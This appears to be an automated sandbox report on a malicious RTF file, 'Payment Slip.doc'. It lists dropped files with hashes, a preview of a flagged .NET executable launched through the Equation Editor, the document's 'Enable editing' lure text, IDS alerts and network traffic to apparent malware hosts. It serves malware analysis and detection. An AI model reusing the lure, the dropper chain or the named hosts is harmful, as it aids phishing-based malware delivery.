Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{FA07FD67-C9F0-495C-98E7-E2F3E4913787}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	101888
Entropy (8bit):	3.626890352321919
Encrypted:	false
SSDEEP:	1536:CSyemuSyemuSyemuSyemuSyem3gkMtyhFN7XO:Hyemryemryemryemryem3gtQj5XO
MD5:	23B9DD35BCE6003977F6FB8B7F75ACDC
SHA1:	90E94F1F7BC1AE3975CC58675C47AB62AD099868
SHA-256:	B1DB9634EF459F1E23ECC9C9AE3D5FEF92455559B024DB9390033CBADFA516EB
SHA-512:	9C24FBFDCA2C67988C3AE6D790A8ECC591E5AF02DF14424E388B23671870EE1161BFC26C80864D4E24A0C60BCD717E4FFB71D340C539741F6285758912CE7E01
Malicious:	false
Preview:	5.3.6.4.7.8.0.0.p.l.e.a.s.e. .c.l.i.c.k. .E.n.a.b.l.e. .e.d.i.t.i.n.g. .f.r.o.m. .t.h.e. .y.e.l.l.o.w. .b.a.r. .a.b.o.v.e...T.h.e. .i.n.d.e.p.e.n.d.e.n.t. .a.u.d.i.t.o.r.s.. .o.p.i.n.i.o.n. .s.a.y.s. .t.h.e. .f.i.n.a.n.c.i.a.l. .s.t.a.t.e.m.e.n.t.s. .a.r.e. .f.a.i.r.l.y. .s.t.a.t.e.d. .i.n. .a.c.c.o.r.d.a.n.c.e. .w.i.t.h. .t.h.e. .b.a.s.i.s. .o.f. .a.c.c.o.u.n.t.i.n.g. .u.s.e.d. .b.y. .y.o.u.r. .o.r.g.a.n.i.z.a.t.i.o.n... .S.o. .w.h.y. .a.r.e. .t.h.e. .a.u.d.i.t.o.r.s. .g.i.v.i.n.g. .y.o.u. .t.h.a.t. .o.t.h.e.r. .l.e.t.t.e.r. .I.n. .a.n. .a.u.d.i.t. .o.f. .f.i.n.a.n.c.i.a.l. .s.t.a.t.e.m.e.n.t.s.,. .p.r.o.f.e.s.s.i.o.n.a.l. .s.t.a.n.d.a.r.d.s. .r.e.q.u.i.r.e. .t.h.a.t. .a.u.d.i.t.o.r.s. .o.b.t.a.i.n. .a.n. .u.n.d.e.r.s.t.a.n.d.i.n.g. .o.f. .i.n.t.e.r.n.a.l. .c.o.n.t.r.o.l.s. .t.o. .t.h.e. .e.x.t.e.n.t. .n.e.c.e.s.s.a.r.y. .t.o. .p.l.a.n. .t.h.e. .a.u.d.i.t... .A.u.d.i.t.o.r.s. .u.s.e. .t.h.i.s. .u.n.d.e.r.s.t.a.n.d.i.n.g. .o.f. .i.n.t.e.r.n.a.l. .c.o.n.t.r.o.l.s. .t.o. .a.s.s.e.s.s. .

C:\Users\user\AppData\Local\Temp\dpgelmzw.jik.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\lvfoxrzz.mwb.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Payment Slip.LNK

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 11 15:42:07 2023, mtime=Fri Aug 11 15:42:07 2023, atime=Thu Sep 26 04:47:13 2024, length=628194, window=hide
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	4.5533087630184585
Encrypted:	false
SSDEEP:	24:845T/XT1SHsg4XT+c+8e72eN5Dv3qB57u:8O/XTIz4PPtB9u
MD5:	11A7EE368F453467A92048FD398C22E7
SHA1:	6C4B3F87D98DB8C0F7AC33B27F78ABD6A55E8546
SHA-256:	22FE3F9CE32C7F0EBFA8F4A338BA1B8F3D0CD20FF387DE7E578BF8C7CD1FFCE6
SHA-512:	9E779E030B651FD9C31CDA623C41BAD32B904F3A9F75EAE7563DB1CF98ED1B9970D02000C7571EC279BB851DB5CEB8BBCEC86B259400945334E0615437AE822C
Malicious:	false
Preview:	L..................F.... ...:gu.r...:gu.r...e-z.................................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1.....:Y.-..user.8......QK.X:Y.-...&=....U...............A.l.b.u.s.....z.1......WF...Desktop.d......QK.X.WF...._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....j.2....:Y.- .PAYMEN~1.DOC..N.......WD..WD..........................P.a.y.m.e.n.t. .S.l.i.p...d.o.c.......z...............-...8...[............?J......C:\Users\..#...................\\927537\Users.user\Desktop\Payment Slip.doc.'.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.P.a.y.m.e.n.t. .S.l.i.p...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......927537..........D_....3N...W...9..W.e8...8.....[D_....3N...W

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Generic INItialization configuration [folders]
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.728502115742624
Encrypted:	false
SSDEEP:	3:M1OeLSUA4om42eLSUA4ov:MMeNVeNy
MD5:	971D26B4A5D653F7806F95BBF276B3D6
SHA1:	4B1796FC74C1F16DF4D90D697C2CB982DDF07B97
SHA-256:	CFC19387886B181EA087E755F4ACD2D28D0C512B2E2828DEC088A10E319E882B
SHA-512:	A94EAA8EE57FB44280828A7C413A091B4F71064162CE64B7F92883BD64B77050A61F9DA62D68CF1F5281ABA8E16174D94CEFE53349C54B61F4E281269AD0E9DF
Malicious:	false
Preview:	[doc]..Payment Slip.LNK=0..[folders]..Payment Slip.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
MD5:	2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
SHA1:	95E13378EA9CACA068B2687F01E9EF13F56627C2
SHA-256:	60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
SHA-512:	2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	704000
Entropy (8bit):	7.875943883609069
Encrypted:	false
SSDEEP:	12288:nqR++ZR3W83B1LViDaDHkzrmvK0eVMfNHczr9wdG7gZf0mMlJEdtTJJ:nE++Zc8NilrAKHV+NHcH9F7jmMb4
MD5:	42F2CE52A57E0D72EAC297A532354E42
SHA1:	7F2F1EF38365147865F1CEC2C1D0AD62CDC6F7D0
SHA-256:	516FFDB4EF149292E235BEA6B676674D973E52C3382FDD3C40F85245F9E564BA
SHA-512:	6BD38183780B7DC761CFEAAFB3742F17A1CEADE827FC0D815CFF8969F0FD530E4ACE5FB70754E056FED44939EF774A4F5EF4B6A7FE9EC2F4C43BB3C49D4BFEEE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f..............0......$......v.... ........@.. ....................... ............@.................................$...O........ ........................................................................... ............... ..H............text...\|.... ...................... ..`.rsrc.... ......."..................@..@.reloc..............................@..B................X.......H........Y..\5..........,....&...........................................0..\|........(..........(....}......{....(....}........(....}........(....}........(....}........(....}........(....}........(....}.....0..!..........(.... l...Y m...Z..(....X.+......0..m........s....}..... ....}.....#......cA}..... .ig.}.....#......c.}..... .'....s....}........s....}......}......}.....(.......(.......8..........>...%..,.o....s.......{.....{....(....}......{.....{....( ...}......{.....{

C:\Users\user\Desktop\~$yment Slip.doc

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
MD5:	2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
SHA1:	95E13378EA9CACA068B2687F01E9EF13F56627C2
SHA-256:	60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
SHA-512:	2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

Static File Info

General

File type:	Nim source code, Non-ISO extended-ASCII text, with very long lines (50625), with CRLF, CR, LF line terminators
Entropy (8bit):	2.7130560779943753
TrID:	Rich Text Format (4004/1) 100.00%
File name:	Payment Slip.doc
File size:	628'194 bytes
MD5:	56fd8f0ced26a25748989b34f051f04c
SHA1:	d163c3303db9ee003173fcd1082bf9381282baf8
SHA256:	419e260eafabf9698076436238fca33bb4c44bc1aaa02f2187d37a121ca57c80
SHA512:	c480f7ea8ac30bca9522add614c32135dee28caac53ff1ac52aab0c3edfdb672fa64cfd4e21c3ad1ae4b913020f27a4bffe1c79427f5a4c85db89ffc2f4854bd
SSDEEP:	6144:qvwAYwAYwAYwAYwAcDLI4E84ACC31NbpRyfuMjV:qui
TLSH:	D4D4352DD70B06599F62A3379B5B1E5545FCBA2EF38111B0346C833833EAC3992256BD
File Content Preview:	{\rt..{\*\fZxC5n4omR9aVJjcN6RYjp3ZKLnceFnpcouERUgimMgD71uBRcgI3GaMnVkZODKx7fL2eqerH2B6BeYbCKg2cByqOUSUSRKsSFn3WUxAYcDfSsgmvLyAEDEwPSRneZqWujmgp4gXtGJJkLLcvq47f1PY8YG}..{\253647800please click Enable editing from the yellow bar above.The independent audito

File Icon


Icon Hash:	2764a3aaaeb7bdbf

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-26T07:47:20.416254+0200	2022050	ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1	1	66.63.187.123	80	192.168.2.22	49161	TCP
2024-09-26T07:47:20.634853+0200	2022051	ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2	1	66.63.187.123	80	192.168.2.22	49161	TCP
2024-09-26T07:47:28.134204+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.22	49162	132.226.8.169	80	TCP
2024-09-26T07:47:30.823828+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.22	49162	132.226.8.169	80	TCP
2024-09-26T07:47:31.314304+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.22	49164	188.114.96.3	443	TCP
2024-09-26T07:47:32.212268+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.22	49165	193.122.6.168	80	TCP
2024-09-26T07:47:33.522644+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.22	49167	158.101.44.242	80	TCP
2024-09-26T07:47:36.928631+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.22	49169	193.122.130.0	80	TCP
2024-09-26T07:47:38.265128+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.22	49169	193.122.130.0	80	TCP
2024-09-26T07:47:39.606636+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.22	49171	132.226.247.73	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2024 07:47:18.538779020 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:18.543857098 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:18.543916941 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:18.544132948 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:18.548886061 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.411302090 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.411328077 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.411339045 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.411345959 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.411355972 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.411366940 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.411375999 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.411396027 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.411406994 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.411417007 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.411432028 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.411478996 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.411478996 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.416254044 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.416307926 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.416344881 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.416357040 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.416362047 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.416397095 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.419986963 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.499872923 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.500009060 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.558341026 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.558361053 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.558382988 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.558394909 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.558404922 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.558465004 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.558465004 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.558531046 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.558543921 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.558568954 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.558573008 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.558581114 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.558588028 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.558603048 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.558610916 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.558619976 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.558645010 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.559473038 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.559485912 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.559503078 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.559521914 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.559526920 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.559545040 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.559571981 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.559571981 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.559581041 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.560231924 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.560250998 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.560271978 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.560271978 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.560286999 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.560303926 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.560309887 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.560326099 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.560345888 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.560363054 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.561096907 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.561115026 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.561140060 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.561152935 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.561153889 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.561170101 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.561192036 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.561213017 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.634852886 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.634875059 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.635013103 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.703660965 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.703682899 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.703706026 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.703718901 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.703736067 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.703737974 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.703778982 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.703778982 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.703788996 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.703800917 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.703830957 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.703840971 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.704199076 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.704211950 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.704231977 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.704242945 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.704250097 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.704262018 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.704267979 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.704283953 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.704293966 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.704734087 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.704783916 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.704822063 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.704864025 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.704865932 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.704900026 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.705163956 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.705174923 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.705210924 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.705332994 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.705377102 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.705380917 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.705391884 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.705413103 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.705418110 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.705427885 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.705437899 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.705451012 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.705461025 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.705462933 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.705502033 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.706278086 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.706321001 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.706326008 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.706334114 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.706362963 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.706367016 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.706378937 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.706398964 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.706403971 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.706434011 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.707164049 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.707175970 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.707195997 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.707209110 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.707214117 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.707226992 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.707233906 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.707245111 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.707251072 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.707267046 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.707283974 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.708082914 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.708093882 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.708122969 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.708132029 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.708132029 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.708153963 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.708158016 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.708168030 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.708170891 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.708194017 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.708204985 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.709100008 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.709115982 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.709130049 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.709145069 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.709151030 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.709163904 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.709178925 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.709178925 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.709183931 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.709197044 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.709213972 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:20.723342896 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.723356962 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:20.723371029 CEST	80	49161	66.63.187.123	192.168.2.22
